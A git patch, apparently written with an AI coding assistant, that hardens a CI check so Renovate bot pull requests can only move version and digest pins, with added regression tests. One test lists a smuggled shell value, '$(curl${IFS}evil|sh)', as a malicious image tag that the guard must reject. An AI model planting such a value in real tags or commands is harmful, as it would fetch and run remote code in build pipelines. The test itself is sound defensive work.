From 8e9a8c5df0efccb54acecbfff336768f6a30f93a Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Mon, 26 Oct 2026 06:41:20 +0000 Subject: [PATCH] fix(ci): close the bypasses of the bot pull request diff guard A change git treats as binary (NUL byte, UTF-16, a -diff attribute) or one with no removed or no added line now fails, and the line diff runs with --text --no-ext-diff --no-textconv. Tags are limited to [A-Za-z0-9._-]; the digest must be present on both sides of an ubuntu job container line and of a FROM line; matrix version lines must stay in place and rise; paths are taken literally (--literal-pathspecs); an empty head ref on a pull_request fails closed (EVENT_NAME). The lint workflow runs the guard from origin/main (the whole scripts/ directory, since it imports check_image_versions) and falls back to the pull request's copy with a notice while main has none. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- .gitea/workflows/lint.yml | 18 +++- scripts/check_bot_pr_diff.py | 73 +++++++++++++--- tests/scripts/test_check_bot_pr_diff.py | 111 ++++++++++++++++++++++++ 3 files changed, 189 insertions(+), 13 deletions(-) diff --git a/.gitea/workflows/lint.yml b/.gitea/workflows/lint.yml index d6b9411..32c82d9 100644 --- a/.gitea/workflows/lint.yml +++ b/.gitea/workflows/lint.yml @@ -87,15 +87,29 @@ jobs: # A pull request from a renovate/ branch may only move version, tag, digest and pin # lines (scripts/check_bot_pr_diff.py), so the bot's automerge cannot change workflow # logic or reach the org secrets. The branch name is attacker-controlled: this only - # constrains the bot's own pull requests. The refs go through env:, never into run:. + # constrains the bot's own pull requests. The guard runs from origin/main, never from the + # pull request's own copy (a PR could weaken it); the whole scripts/ directory comes from + # the base because the guard imports check_image_versions. Not -I: that drops the + # script's directory from sys.path and the import would fail; -E -s ignore the + # environment and user site. Until origin/main has the script (the PR that introduces it) + # the PR copy runs, with a notice. The refs go through env:, never into run:. - name: Check a bot pull request only moves pins if: github.event_name == 'pull_request' env: HEAD_REF: ${{ github.head_ref }} BASE_REF: origin/main + EVENT_NAME: ${{ github.event_name }} run: | export PATH="/opt/venv/bin:$PATH" - python3 scripts/check_bot_pr_diff.py "$HEAD_REF" "$BASE_REF" + guard=scripts/check_bot_pr_diff.py + if git cat-file -e "$BASE_REF:scripts/check_bot_pr_diff.py" 2>/dev/null; then + base_dir="$(mktemp -d "${RUNNER_TEMP:-/tmp}/base.XXXXXX")" + git archive "$BASE_REF" scripts | tar -x -C "$base_dir" + guard="$base_dir/scripts/check_bot_pr_diff.py" + else + echo "::notice::$BASE_REF has no scripts/check_bot_pr_diff.py yet; running the pull request's copy" + fi + python3 -E -s "$guard" "$HEAD_REF" "$BASE_REF" - name: Test the repository scripts run: | diff --git a/scripts/check_bot_pr_diff.py b/scripts/check_bot_pr_diff.py index 2d139ea..9ab859d 100644 --- a/scripts/check_bot_pr_diff.py +++ b/scripts/check_bot_pr_diff.py @@ -28,21 +28,30 @@ to make the automerge of those safe: a bot pull request cannot alter workflow lo the organisation secrets (only image.yml references them), whatever a compromised or confused dependency update proposes. +The environment variable EVENT_NAME (the workflow's event) makes an empty on a +pull_request an error instead of a skip. + +A change git sees as binary (a NUL byte, UTF-16, a -diff attribute) or one with no removed or no +added line fails: a pin change always has both, and the line diff is taken with --text. + Exit codes: 0 ok or skipped, 1 a violation or a failure to run, 2 bad usage. """ +import os import re import sys import check_image_versions as civ PREFIX = "renovate/" -PIN = re.compile(r"(git\.rkdr\.net/mortis/[a-z0-9._-]+):[^@\s]+@sha256:[0-9a-f]{64}") +TAG = r"[A-Za-z0-9._-]+" +PIN = re.compile(rf"(git\.rkdr\.net/mortis/[a-z0-9._-]+):{TAG}@sha256:[0-9a-f]{{64}}") REQ_LINE = re.compile(r"^([A-Za-z0-9][A-Za-z0-9._-]*)==[0-9][0-9A-Za-z.+!_-]*$") REV_LINE = re.compile(r"^\s*rev:\s*\S+\s*$") -VERSION_LINE = re.compile(r"""^\s*(?:-\s*)?version:\s*["']?[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?["']?\s*(?:#.*)?$""") -FROM_LINE = re.compile(r"^(FROM\s+(?:--\S+\s+)*)([^\s:@]+)(?::[^@\s]+)?(?:@sha256:[0-9a-f]{64})?(\s+AS\s+\S+)?\s*$") +VERSION_LINE = re.compile( + r"""^\s*(?:-\s*)?version:\s*["']?(?P[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?)["']?\s*(?:#.*)?$""") +FROM_LINE = re.compile(rf"^(FROM\s+(?:--\S+\s+)*)([^\s:@]+)(?::{TAG})?@sha256:[0-9a-f]{{64}}(\s+AS\s+\S+)?\s*$") UV_TOKEN = re.compile(r"\buv==[0-9][0-9A-Za-z.+!_-]*") -UBUNTU_LINE = re.compile(r"^(\s*image:\s*ubuntu)(?::[^@\s]+)?(?:@sha256:[0-9a-f]{64})?\s*$") +UBUNTU_LINE = re.compile(rf"^(\s*image:\s*ubuntu)(?::{TAG})?@sha256:[0-9a-f]{{64}}\s*$") DOCKERFILE = re.compile(r"images/[^/]+/Dockerfile") CONSUMERS = {".gitea/workflows/lint.yml", ".gitea/workflows/build.yml", ".gitea/workflows/molecule.yml"} @@ -127,21 +136,48 @@ def parse_raw(blob): return entries -def parse_patch(text): - """(removed lines, added lines) of a -U0 patch, without the +/- marker.""" +HUNK = re.compile(r"^@@ -(\d+)(?:,\d+)? \+(\d+)(?:,\d+)? @@") +BINARY = re.compile(r"^(?:Binary files .* differ|GIT binary patch)$", re.MULTILINE) + + +def parse_numbered(text): + """([(old line number, line)], [(new line number, line)]) of a -U0 patch, without the +/- marker.""" removed, added, in_hunk = [], [], False + old_n = new_n = 0 for line in text.split("\n"): - if line.startswith("@@"): + hunk = HUNK.match(line) + if hunk: in_hunk = True + old_n, new_n = int(hunk[1]), int(hunk[2]) elif not in_hunk or line.startswith("\\"): continue elif line.startswith("-"): - removed.append(line[1:]) + removed.append((old_n, line[1:])) + old_n += 1 elif line.startswith("+"): - added.append(line[1:]) + added.append((new_n, line[1:])) + new_n += 1 return removed, added +def parse_patch(text): + """(removed lines, added lines) of a -U0 patch, without the +/- marker.""" + removed, added = parse_numbered(text) + return [line for _, line in removed], [line for _, line in added] + + +def version_problem(removed, added): + """A reason when the matrix `version:` lines were moved, lowered or swapped, else None. + Both lists are (line number, line); the changed lines must sit at the same line numbers.""" + if [n for n, _ in removed] != [n for n, _ in added]: + return "moves or deletes a line (the changed lines must stay where they are)" + for (_, old), (_, new) in zip(removed, added): + old_m, new_m = VERSION_LINE.match(old), VERSION_LINE.match(new) + if old_m and new_m and civ.parse_version(new_m["v"]) <= civ.parse_version(old_m["v"]): + return f"does not raise a version ({old_m['v']} -> {new_m['v']})" + return None + + def check(entries, patch_of): """One message per offending file; patch_of(path) returns that file's -U0 patch text.""" problems = [] @@ -149,7 +185,18 @@ def check(entries, patch_of): if status != "M" or old_mode != new_mode or new_mode != "100644": problems.append(f"{path}: a bot pull request may not add, delete, rename or change the mode of a file") continue - reason = file_problem(path, *parse_patch(patch_of(path))) + patch = patch_of(path) + if BINARY.search(patch): + problems.append(f"{path}: git treats the change as binary, which cannot be checked line by line") + continue + removed, added = parse_numbered(patch) + if not removed or not added: + problems.append(f"{path}: a pin change removes and adds at least one line; this diff has " + f"{len(removed)} removed and {len(added)} added (binary or empty change?)") + continue + reason = file_problem(path, [line for _, line in removed], [line for _, line in added]) + if not reason and path == civ.MATRIX_FILE: + reason = version_problem(removed, added) if reason: problems.append(f"{path}: {reason}") return problems @@ -160,6 +207,9 @@ def run(argv): sys.stderr.write(__doc__) return None head_ref, base_ref = argv[1], argv[2] + if not head_ref and os.environ.get("EVENT_NAME") == "pull_request": + raise civ.CheckError("the head ref of a pull request is empty: cannot tell whether it is a bot " + "pull request, so failing closed") if not head_ref.startswith(PREFIX): return [], "not a renovate/ branch, skipped" if not civ.REF_RE.fullmatch(base_ref): @@ -169,7 +219,8 @@ def run(argv): "--end-of-options", base, "HEAD", raw=True) def patch_of(path): - return civ.git("-c", "core.quotePath=false", "diff", "-U0", "--no-renames", "--no-color", + return civ.git("--literal-pathspecs", "-c", "core.quotePath=false", "diff", "-U0", "--no-renames", + "--no-color", "--text", "--no-ext-diff", "--no-textconv", "--end-of-options", base, "HEAD", "--", path) entries = parse_raw(raw) diff --git a/tests/scripts/test_check_bot_pr_diff.py b/tests/scripts/test_check_bot_pr_diff.py index 0647776..7e4b27f 100644 --- a/tests/scripts/test_check_bot_pr_diff.py +++ b/tests/scripts/test_check_bot_pr_diff.py @@ -7,6 +7,7 @@ import subprocess import sys import tempfile import unittest +from unittest import mock SCRIPTS = pathlib.Path(__file__).resolve().parents[2] / "scripts" sys.path.insert(0, str(SCRIPTS)) @@ -73,6 +74,39 @@ class RuleTest(unittest.TestCase): for path, old, new in cases: self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + def test_tag_charset_is_restricted(self): + bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"] + for tag in bad_tags: + cases = [ + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/mortis/ci:{tag}@{D1}"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:{tag}@{D1} AS os"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:{tag}@{D1}"), + ] + for path, old, new in cases: + self.assertIsNotNone(self.problem(path, old, new), (path, tag)) + + def test_digest_may_not_be_dropped(self): + cases = [ + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu:latest AS os"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu AS os"), + ("images/ci/Dockerfile", "FROM ubuntu:24.04 AS os", f"FROM ubuntu:24.04@{D1} AS os"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", " image: ubuntu:latest"), + (".gitea/workflows/image.yml", " image: ubuntu:24.04", f" image: ubuntu:24.04@{D1}"), + ] + for path, old, new in cases: + self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + + def test_version_lines_stay_in_place_and_rise(self): + v = " version: {}" + self.assertIsNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.1"))])) + self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(9, v.format("0.2.1"))])) + self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.1"))], [(5, v.format("0.2.0"))])) + self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.0"))])) + swapped = cbd.version_problem([(5, v.format("0.1.0")), (9, v.format("0.2.0"))], + [(5, v.format("0.2.0")), (9, v.format("0.1.0"))]) + self.assertIsNotNone(swapped) + def test_unequal_line_counts_are_refused(self): self.assertIsNotNone(cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"])) self.assertIsNotNone(cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], [])) @@ -112,6 +146,83 @@ class RepoTest(unittest.TestCase): capture_output=True, text=True, check=False) return proc.returncode, proc.stdout, proc.stderr + def test_a_nul_containing_file_is_refused(self): + self.write("requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0") + self.commit("bot") + code, _, err = self.gate() + self.assertEqual(code, 1, err) + self.assertIn("requirements-dev.txt", err) + + def test_a_utf16_rewrite_is_refused(self): + text = (self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0") + (self.repo / "requirements-dev.txt").write_bytes(text.encode("utf-16")) + self.commit("bot") + code, _, err = self.gate() + self.assertEqual(code, 1, err) + self.assertEqual(len(err.strip().splitlines()), 1, err) + + def test_a_diff_attribute_does_not_hide_a_change(self): + self.write(".gitattributes", "requirements-dev.txt -diff\n") + self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") + self.commit("bot") + code, _, err = self.gate() + self.assertEqual(code, 1, err) + self.assertIn(".gitattributes", err) + + def test_binary_and_one_sided_patches_are_refused(self): + entries = [("100644", "100644", "M", "requirements-dev.txt")] + for patch in ("Binary files a/x and b/x differ\n", "", "@@ -1 +0,0 @@\n-reuse==6.2.0\n", + "@@ -0,0 +1 @@\n+reuse==6.3.0\n"): + self.assertEqual(len(cbd.check(entries, lambda path, text=patch: text)), 1, patch) + + def test_git_is_told_to_take_paths_literally(self): + seen = [] + real = cbd.civ.git + + def spy(*args, **kwargs): + seen.append(args) + return real(*args, **kwargs) + + self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") + self.commit("bot") + old_cwd = os.getcwd() + self.addCleanup(os.chdir, old_cwd) + os.chdir(self.repo) + with mock.patch.object(cbd.civ, "git", spy): + result = cbd.run(["check_bot_pr_diff.py", "renovate/x", "main"]) + self.assertEqual(result[0], []) + patches = [args for args in seen if "-U0" in args] + self.assertTrue(patches) + self.assertTrue(all(args[0] == "--literal-pathspecs" for args in patches), patches) + self.assertTrue(all("--text" in args and "--no-textconv" in args and "--no-ext-diff" in args + for args in patches), patches) + + def test_empty_head_ref_on_a_pull_request_fails_closed(self): + self.write("roles/x/main.yml", "a\n") + self.commit("anything") + env = {**os.environ, "EVENT_NAME": "pull_request"} + proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo, + capture_output=True, text=True, check=False, env=env) + self.assertEqual(proc.returncode, 1, proc.stderr) + self.assertIn("empty", proc.stderr) + self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr) + env["EVENT_NAME"] = "push" + proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo, + capture_output=True, text=True, check=False, env=env) + self.assertEqual(proc.returncode, 0, proc.stderr) + + def test_lowering_a_matrix_version_fails_and_raising_it_passes(self): + self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.1.9") + self.commit("lower") + code, _, err = self.gate() + self.assertEqual(code, 1, err) + self.assertIn("version", err) + run(self.repo, "git", "checkout", "-q", "main") + run(self.repo, "git", "checkout", "-q", "-b", "renovate/ok") + self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1") + self.commit("raise") + self.assertEqual(self.gate(head="renovate/ok")[0], 0) + def test_a_realistic_bot_pr_passes(self): self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") self.edit(".pre-commit-config.yaml", "v1.0.0", "v1.1.0")